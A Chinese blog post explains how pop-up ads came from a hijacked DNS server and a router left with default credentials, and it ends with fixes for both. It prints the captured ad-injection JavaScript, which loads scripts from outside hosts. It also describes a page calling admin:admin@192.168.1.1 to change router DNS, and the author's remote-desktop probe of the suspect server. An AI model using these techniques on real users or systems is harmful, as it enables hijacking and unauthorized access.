前段时间发现我的电脑在访问一些不知名的网站时(不是指那种垃圾网站)会莫名其妙的弹出一些广告。如果浏览器没有做拦截的话,这些广告在浏览器中以新窗口的形式打开,就是那种单页整幅的广告,而且一次会弹出5、6个。如果做了拦截,在google浏览器上的表现是,弹窗被拦截,但是整个网页覆盖了一成透明的薄膜(就是一个全屏的div),点击网页的任何地方,都会弹出广告。
这个弹窗的原理很简单,其实就是我们在访问目标网站时,网站返回了恶意代码,这些恶意代码被执行就出现了弹窗。这是我在一个弹窗页抓取到的恶意代码。
var url=document.referrer;
var p=url.toLowerCase().indexOf("www.baidu.com","search.cn.yahoo.com","www.soso.com","so.360.cn","zhidao.baidu.com","seek.3721.com");
if (p>0)
{
document.writeln("<script type=\"text\/javascript\">");
document.writeln(" u_a_client=\"14911\";");
document.writeln(" u_a_width=\"0\";");
document.writeln(" u_a_height=\"0\";");
document.writeln(" u_a_zones=\"45930\";");
document.writeln(" u_a_type=\"1\"");
document.writeln("<\/script>");
document.writeln("<script src=\"http:\/\/e4.6dad.com\/i.js\"><\/script>");
document.writeln("<script src=\'http:\/\/js.kk7kk.com\/i.php?z=14921\'><\/script>");
}
getElementsByClassName = function (sClassName,oParentNode){
var allNodes =(oParentNode ? oParentNode : document).getElementsByTagName('*');
var aElements = [];
for(var i=0;i<allNodes.length;i++){
var arrClass = allNodes[i].className.split(" ");
for(var a=0; a<arrClass.length;a++){
if(arrClass[a]==sClassName){
aElements.push(allNodes[i]);
break;
}
}
}
return aElements;
}
var moveul='<ul class="oright">'+getElementsByClassName('oright')[0].innerHTML+'</ul>'
getElementsByClassName('oright')[0].innerHTML='';
document.getElementById('body_right').innerHTML=document.getElementById('body_right').innerHTML+moveul;
当然浏览器插件什么的也有可能导致类似的问题。但问题是,当我们访问一些正规的网站为什么也会有弹窗,这些网站总不会都被黑了吧。当我查看网站源代码时发现,这些广告都来之同几个广告联盟,而且都是那种不知名的,广告内容页来来回回的就那几个。显然这些广告并不是来自目标网站,那是从哪里来的?其实我的第一反应是我的电脑中毒了,当时我就进行的全盘扫描,还有什么广告拦截,也换过杀毒软件,都没有查出来。网上我查了,发现一堆类似的问题,有人甚至怀疑手机中了毒,感染了电脑,刷了手机,重装了系统,回头再看,丫的还是有弹窗广告,直接无语了。
这些恶意代码既然不来自本机,也不是目标网站,那到底哪来的?这时候我想起一种可能,那就是来自网络运营商。几年前曾爆出中国电信进行ADSL广告推送非法盈利,这种弹窗广告是无法拦截的。当你访问目标网站的时候一定会通过运营商的服务器,运营商其实就是一个中间人的角色,你把请求给这个”中间人“,它在转发给目标网站,目标网站将数据返回”中间人“,然后在转发给你。在拿到目标网站返回的数据时,这个”中间人“完全可以加点什么在转给你。现在应该晓得为什么没有中毒还有弹窗广告了吧。
当然现在的运营商不会那么猖狂了。扮演这个中间人其实是DNS。简单说就是你默认的DNS服务器被黑客篡改了。这里普及一基本的网络知识。通常我们上网需要设置3个网络参数。
- IP地址(还有子网掩码)
- 网关
- DNS服务器
IP地址这个不用解释。通常大家都用路由器上网,网关就是局域网的出口,一般都是路由器的地址,比如192.168.1.1。DNS这个是域名解析服务器,只要大家想通过www.xxx.com的方式访问一个服务器的话,都会用到DNS。
要知道现在自己的DNS是什么很简单,一条命令就搞定。打开运行(Win +R),输出cmd回车,打开“命令提示符”。输入命令 ipconfig /all
所有的网络设置都显示出来了。注意DNS服务器,DNS有主备两个。以我的为例。
主DNS是202.102.152.3
备DNS是8.8.8.8
大家可以在一些网站得到验证。比如http://ip.chinaz.com/
像这种DNS就是被篡改的,这个就是黑客的服务器。
我还扫了一下,3389端口开着呢,远程桌面一连,win2003有不有。
解决方法
修改DNS服务器
如果是路由器的话,登录路由,找DHCP服务
如果不是自己的路由不知道密码,从自己的计算机上改也是可以的。方法:
找到这页面
将“自动获取DNS服务器地址”改成“使用下面的DNS服务器地址”。大家可以自己百度一下适合自己的DNS服务器。比如搜索“济南 联通 DNS服务器”等等。如果懒得话,可以用下面的两个。很好记
一个是8.8.8.8 ,这个是google的DNS
一个是114.114.114.114 ,这个是江苏南京的一个DNS
首选DNS是必填的,备用DNS可以不填,但建议填上。
但在这里有必要说一下,为什么我的DNS会被窜改。如果你的路由器的地址是192.168.1.1。用户名是admin、密码是admin 那就没什么好奇怪的了。你的安全意识太弱了。
这里可以模拟一下情景:
首先是你访问了一个挂马的网站,网页脚本有类似的一句http://admin:admin@192.168.1.1。
访问这个地址会怎样,直接登录到路由有没有,根本不需要登录,甚至黑客都没连接到你路由器上。然后再修改了你的DNS(至于修改DNS的具体细节我也不清楚)。而且电脑上的DNS是选择自动获取,也就是路由上的DNS,这样就出现文章开头描述的情况了。下面是我最近找的一个代码示例,点击之后就改了你的DNS
所以建议大家在修改完DNS之后,把路由器的用户名密码以及地址都改了。